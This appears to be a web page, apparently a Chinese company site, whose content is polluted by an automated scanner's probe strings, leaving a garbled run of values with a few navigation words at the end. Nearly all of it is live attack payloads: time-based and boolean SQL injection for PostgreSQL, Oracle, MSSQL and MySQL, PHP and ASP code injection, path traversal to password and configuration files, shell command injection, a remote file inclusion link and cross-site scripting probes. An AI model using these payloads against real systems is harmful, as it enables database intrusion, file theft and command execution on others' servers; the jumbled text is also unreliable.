1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1%') AND 1=(SELECT 1 FROM PG_SLEEP(6)) -- 1 1%') AND 1=(SELECT 1 FROM PG_SLEEP(0)) -- 1 1 1 1 1') AND 1=(SELECT 1 FROM PG_SLEEP(6)) -- 1 1 1 1') AND 1=(SELECT 1 FROM PG_SLEEP(0)) -- 1 1 1 1) AND 1=(SELECT 1 FROM PG_SLEEP(6)) -- 1 1 1 1) AND 1=(SELECT 1 FROM PG_SLEEP(0)) -- 1 1 1 1%' AND 1=(SELECT 1 FROM PG_SLEEP(6)) -- 1 1 1 1%' AND 1=(SELECT 1 FROM PG_SLEEP(0)) -- 1 1 1 1' AND 1=(SELECT 1 FROM PG_SLEEP(6)) -- 1 1 1 1' AND 1=(SELECT 1 FROM PG_SLEEP(0)) -- 1 1 1 1 AND 1=(SELECT 1 FROM PG_SLEEP(6)) -- 1 1 1 1 AND 1=(SELECT 1 FROM PG_SLEEP(0)) -- 1 1 1 1%') anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),6)-- 1 1 1 1%') anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),0)-- 1 1 1 1') anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),6)-- 1 1 1 1') anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),0)-- 1 1 1 1) anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),6)-- 1 1 1 1) anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),0)-- 1 1 1 1%' anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),6)-- 1 1 1 1 1 1%' anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),0)-- 1 1 1' anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),6)-- 1 1 1 1 1' anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),0)-- 1 1 1 1 1 anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),6)-- 1 1 1 1 anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74),0)-- 1 1 1%'); waitfor delay '0:0:6' -- 1 '.print 8-9999108099999;// 1 1%'); waitfor delay '0:0:0' -- );}print 8-9999108099999;// 1 1 ';(print 8-9999108099999);' 1'); waitfor delay '0:0:6' -- 1 1 ".(print 8-9999108099999)." 1'); waitfor delay '0:0:0' -- 1 1 ".print 8-9999108099999;"// 1); waitfor delay '0:0:6' -- 1 1 ";print 8-9999108099999;" 1); waitfor delay '0:0:0' -- 1 1 ';print 8-9999108099999;# 1%'; waitfor delay '0:0:6' -- 1 1 ';}print 8-9999108099999;# 1%'; waitfor delay '0:0:0' -- 1 '];}print 8-9999108099999;# 1 1'; waitfor delay '0:0:6' -- 1 ];}print 8-9999108099999;# 1 1'; waitfor delay '0:0:0' -- 1 '];print 8-9999108099999;# 1 1; waitfor delay '0:0:6' -- 1 ');print 8-9999108099999;# 1 1; waitfor delay '0:0:0' -- 1 );print 8-9999108099999;# 1 1 1%') and (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ 1 'Response.Write(8-99991080)' 1 1%') and (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ 1 "Response.Write(8-99991080)" 1 1%' and (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ 1 Response.Write(8-9999108099999) 1 1%' and (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ ';print 8-9999108099999; 1 1 1') and (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ print 8-9999108099999; 1 1 1') and (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ print 8-9999108099999;# 1 1 1) and (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ ;}print 8-9999108099999;/*;}print 8-9999108099999;/* 1 1 1) and (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ ${@print(8-9999108099999)}${@print(8-9999108099999)} 1 1 1' and (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ '.print 8-9999108099999;//'.print 8-9999108099999;// 1 1 1' and (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ );}print 8-9999108099999;//);}print 8-9999108099999;// 1 1 1 and (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ ';(print 8-9999108099999);'';(print 8-9999108099999);' 1 1 1 and (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ ".(print 8-9999108099999)."".(print 8-9999108099999)." 1 1 1%') and 1 in (select BENCHMARK(28000000,MD5(CHAR(97)))) -- ".print 8-9999108099999;"//".print 8-9999108099999;"// 1 1 1%') and 1 in (select BENCHMARK(0,MD5(CHAR(97)))) -- ";print 8-9999108099999;"";print 8-9999108099999;" 1 1 1') and 1 in (select BENCHMARK(28000000,MD5(CHAR(97)))) -- ';print 8-9999108099999;#';print 8-9999108099999;# 1 1 1') and 1 in (select BENCHMARK(0,MD5(CHAR(97)))) -- ';}print 8-9999108099999;#';}print 8-9999108099999;# 1 1 1) and 1 in (select BENCHMARK(28000000,MD5(CHAR(97)))) -- '];}print 8-9999108099999;#'];}print 8-9999108099999;# 1 1 1) and 1 in (select BENCHMARK(0,MD5(CHAR(97)))) -- ];}print 8-9999108099999;#];}print 8-9999108099999;# 1 1 1%' and 1 in (select BENCHMARK(28000000,MD5(CHAR(97)))) -- '];print 8-9999108099999;#'];print 8-9999108099999;# 1 1 1%' and 1 in (select BENCHMARK(0,MD5(CHAR(97)))) -- ');print 8-9999108099999;#');print 8-9999108099999;# 1 1 1' and 1 in (select BENCHMARK(28000000,MD5(CHAR(97)))) -- );print 8-9999108099999;#);print 8-9999108099999;# 1 1 1' and 1 in (select BENCHMARK(0,MD5(CHAR(97)))) -- 1 'Response.Write(8-99991080)''Response.Write(8-99991080)' 1 1 and 1 in (select BENCHMARK(28000000,MD5(CHAR(97)))) -- 1 "Response.Write(8-99991080)""Response.Write(8-99991080)" 1 1 and 1 in (select BENCHMARK(0,MD5(CHAR(97)))) -- 1 Response.Write(8-9999108099999)Response.Write(8-9999108099999) 1 1%') and sleep(6) # 1 ';print 8-9999108099999;';print 8-9999108099999; 1 1%') and sleep(0) # 1 print 8-9999108099999;print 8-9999108099999; 1 1') and sleep(6) # 1 print 8-9999108099999;#print 8-9999108099999;# 1 1') and sleep(0) # 1 1 1 1) and sleep(6) # 1 1 1 1) and sleep(0) # 1 1 1%' and sleep(6) # 1 1 1 1%' and sleep(0) # 1 1 1 ../../../../../../WEB-INF/web.xml 1' and sleep(6) # 1 1 1 1' RLIKE (SELECT (CASE WHEN (8356=8356) THEN 1 ELSE 0x28 END))-- GSiC 1' RLIKE (SELECT (CASE WHEN (7496=8472) THEN 1 ELSE 0x28 END))-- GSiC 1 1 1 ../../../../../WEB-INF/web.xml 1 1 1' and sleep(0) # 1 1 1 1%') oR 6893=7979 # 1%') oR 3151=3151 # 1 1 1 1 1 ../../../../WEB-INF/web.xml 1 and sleep(6) # 1 1 1 1 1%') oR 3910=4710 -- 1%') oR 1879=1879 -- 1 1 1 ../../../WEB-INF/web.xml 1 1 1 and sleep(0) # 1 1 1 1 1%') oR 1161=8969 anD '%'=' 1%') oR 7755=7755 anD '%'=' 1 1 1 ../../WEB-INF/web.xml 1 1 1 1%') and sleep(6) 1 1 1 1') oR 8841=6086 # 1') oR 9993=9993 # 1 1 1 ../WEB-INF/web.xml 1 1 1%') and sleep(0) 1 1 1 1 1') oR 4422=6175 -- 1') oR 7102=7102 -- 1 1 1 /..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc/./passwd.htm 1 1 1') and sleep(6) 1 1 1 1 1') oR 9702=9702 anD '1'='1 1') oR 6316=0979 anD '1'='1 1 1 1 /..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc/./passwd 1 1 1 1') and sleep(0) 1 1 1 1' oR 7904=0941 # 1' oR 2117=2117 # 1 1 1 /..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows/win.ini.htm 1 1) and sleep(6) 1 1 1 1 1 1 1 1' oR 5800=6767 -- 1' oR 0457=0457 -- 1 /..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows/win.ini 1 1 1) and sleep(0) 1 1 1 1 1' oR 9700=6451 anD '1%'='1 1' oR 1950=1950 anD '1%'='1 1 1 ../../../../../../WEB-INF/web.xml? .././.././.././.././.././.././.././.././.././.././.././.././.././.././.././.././etc/./anonymousec.............................................................................................................................................................. 1%' and sleep(6) 1 1 1 1 1 1 1' oR 9849=9849 anD '1'='1 1' oR 4287=8071 anD '1'='1 1 1 ../../../../../WEB-INF/web.xml? 1 1%' and sleep(0) /etc/./anonymousec............................................................................................................................................................................................................................................. 1 1 1 1 1 1 1 -1) oR 4162=4103# -1) oR 6715=6715# ../../../../WEB-INF/web.xml? 1' and sleep(6) 1 1 1 1 1 1 .././.././.././.././.././.././.././.././.././.././.././.././.././.././.././.././etc/./anonymousec.htm 1 1 -1 oR 6460=6066# -1 oR 1139=1139# ../../../WEB-INF/web.xml? 1' and sleep(0) 1 1 1 1 1 1 /./etc/./anonymousec.htm 1 1 -1 oR 5163=2110-- -1 oR 3039=3039-- ../../WEB-INF/web.xml? 1 and sleep(6) 1 1 1 1 1 1 .././.././.././.././.././.././.././.././.././.././.././.././.././.././.././.././etc/./anonymousec 1 1 -1 oR 4933=6478 -1 oR 5675=5675 ../WEB-INF/web.xml? 1 and sleep(0) 1 1 1 1 1 1 1 1 1%') anD 0793=8789 # 1%') anD 9309=9309 # /etc/./anonymousec /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/./passwd.htm 1%') and if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ 1 1 1 1 1 1 1 1 .././.././.././.././.././.././.././.././.././.././.././.././.././.././.././.././etc/./anonymousec.............................................................................................................................................................. 1%') and if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/./passwd 1 1 1%') anD 2904=7106 -- 1 1 1%') anD 2160=2160 -- 1 1 1 /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/windows/win.ini.htm /etc/./anonymousec............................................................................................................................................................................................................................................. 1 1 1%') anD 6236=1870 anD '%'=' 1%') anD 8343=8343 anD '%'=' 1 1 1 1 1 1') and if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/windows/win.ini .././.././.././.././.././.././.././.././.././.././.././.././.././.././.././.././etc/./anonymousec.htm 1 1 1') anD 4883=4883 # 1 1') anD 2860=0255 # 1 1 1 1 1 1 1) and if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ ../../../../../../WEB-INF/web.xml 1 /./etc/./anonymousec.htm 1 1 1') anD 9586=9586 -- 1 1 1 1') anD 8267=8416 -- 1 1 1 1 ../../../../../WEB-INF/web.xml 1 1 .././.././.././.././.././.././.././.././.././.././.././.././.././.././.././.././etc/./anonymousec 1 1 1 1 1 1 1') anD 9285=1208 anD ('1'='1 1 1<09a179 x=922821632> 1 1 ../../../../WEB-INF/web.xml 1 /etc/./anonymousec 1 1%' and if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ 1 1 1') anD 1368=4471 anD '1'='1 1') anD 9997=9997 anD '1'='1 1 1 1 1 1 1 ../../../WEB-INF/web.xml 1 1 1 type c:\windows\win.ini 1 1 1 1' anD 6582=4304 # 1%' and if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ 1' anD 3425=3425 # 1 1 1 1 1 1 1 1 1 1 1 cat /etc/./hosts 1 1' anD 0949=4374 -- 1' anD 6516=6516 -- 1 1 1 ../../WEB-INF/web.xml 1 1' and if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ 1 1 1 1 1 1 */-->'"> 1%' oRder by 34# 1 1 1 1|type c:\windows\win.ini 1 1 1 1 1 1 1 ../WEB-INF/web.xml 1 1 1' and if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ 1 1 1' anD 5827=5549 anD '1'='1 1' anD 0876=0876 anD '1'='1 1*/-->'"> 1 1' oRder by 34# 1 1 1 1 1 1 1 1 and if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ 1 1 1 1 1;type c:\windows\win.ini; 1 1' anD 0204=7173 anD '1%'='1 1' anD 5287=5287 anD '1%'='1 /../../../../../../../etc/./passwd.htm www.site120.cn/2012_rFi_0702.txt? 1 1 oRder by 34# 1 1 1 1 1 1 1 1 1&type c:\windows\win.ini& 1) anD 3921=3739# 1) anD 3772=3772# 1 1 1 and if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ 1 /../../../../../../../etc/./passwd hTTp://www.site120.cn/2012_rFi_0702.txt 1 1%' oRder by 34 1 1 1 1 1 1 1|id 1 1 1 anD 4167=6910# 1 1 anD 4801=4801# 1 1 if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ 1 hTTp://www.site120.cn/2012_rFi_0702.txt? 1 1 1 1' oRder by 34 xsstest7b0;!@$[]"'~`^ 1 /../../../../../../../windows/win.ini.htm 1 1 1 1 1|cat /etc/./hosts 1 1 anD 6008=6008-- 1 1 anD 3111=0961-- 1 1 if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ 1 http://www.site120.cn/2012_rFi_0702.txt 1 1 1 1 1 oRder by 34 1xsstest038;!@$[]"'~`^ 1 /../../../../../../../windows/win.ini 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1;cat /etc/./hosts; 1 1 -1 1 anD 4731=4731 1 anD 9167=9249 -1 1 -1 -1 1 -1 1 1 hTTp://www.site120.cn/2012_rFi_0702.txt 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1%' oRder by 34-- http://www.site120.cn/webscantest_alert.html WEB-INF\web.xml 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1&cat /etc/./hosts& 1 1 1 1 1 1\ 1 1 1 1 1 1' oRder by 34-- WEB-INF/web.xml 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 type c:\windows\win.ini 1 1 1 1 1 1 1" 1 1 1 1 1 1 1 oRder by 34-- c:/windows/win.ini 1 1 1 1 1 1 1 1 `type c:\windows\win.ini` 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1%' oRder by 34 1 1 file:/etc/./passwd 1 1%78%73%73%74%65%73%74%35%32%39 1 1 1 1 1 1 1 1 1 1 1 cat /etc/./hosts 1 1 1 1 1 1 1 1 1 1 1 frameayoussecurity2 1 1 1 1 linkayoussecurity2 1 1 1 1 1 1錦' 1 1 1 1' oRder by 34 1 1 file:/c:/windows/win.ini 1 1 1 1 xsstest7b0 1'");|]*{ <> 145725259 1 1 1 1 1 `cat /etc/./hosts` 1 1 1 Or 1=a 1 1 1' 1 1 1 /etc/./passwd 1 1frameayoussecurity1 1 1linkayoussecurity1 1 1 1 1 1 1 1 1 1 1 1' 1 1 1 1 1 1 1 1 oRder by 34 1 1 1 1 1 1 1 1 osm37536 1 1 1 1 1fsm37211＜f1﹥f2ʺf3ʹfem34681 fsm37211＜f1﹥f2ʺf3ʹfem34681 1 1 1 1osm37536 1xsstest038 1 1 1 1 1 1 1 1 1 1 1 1 小知识 公司新闻 行业动态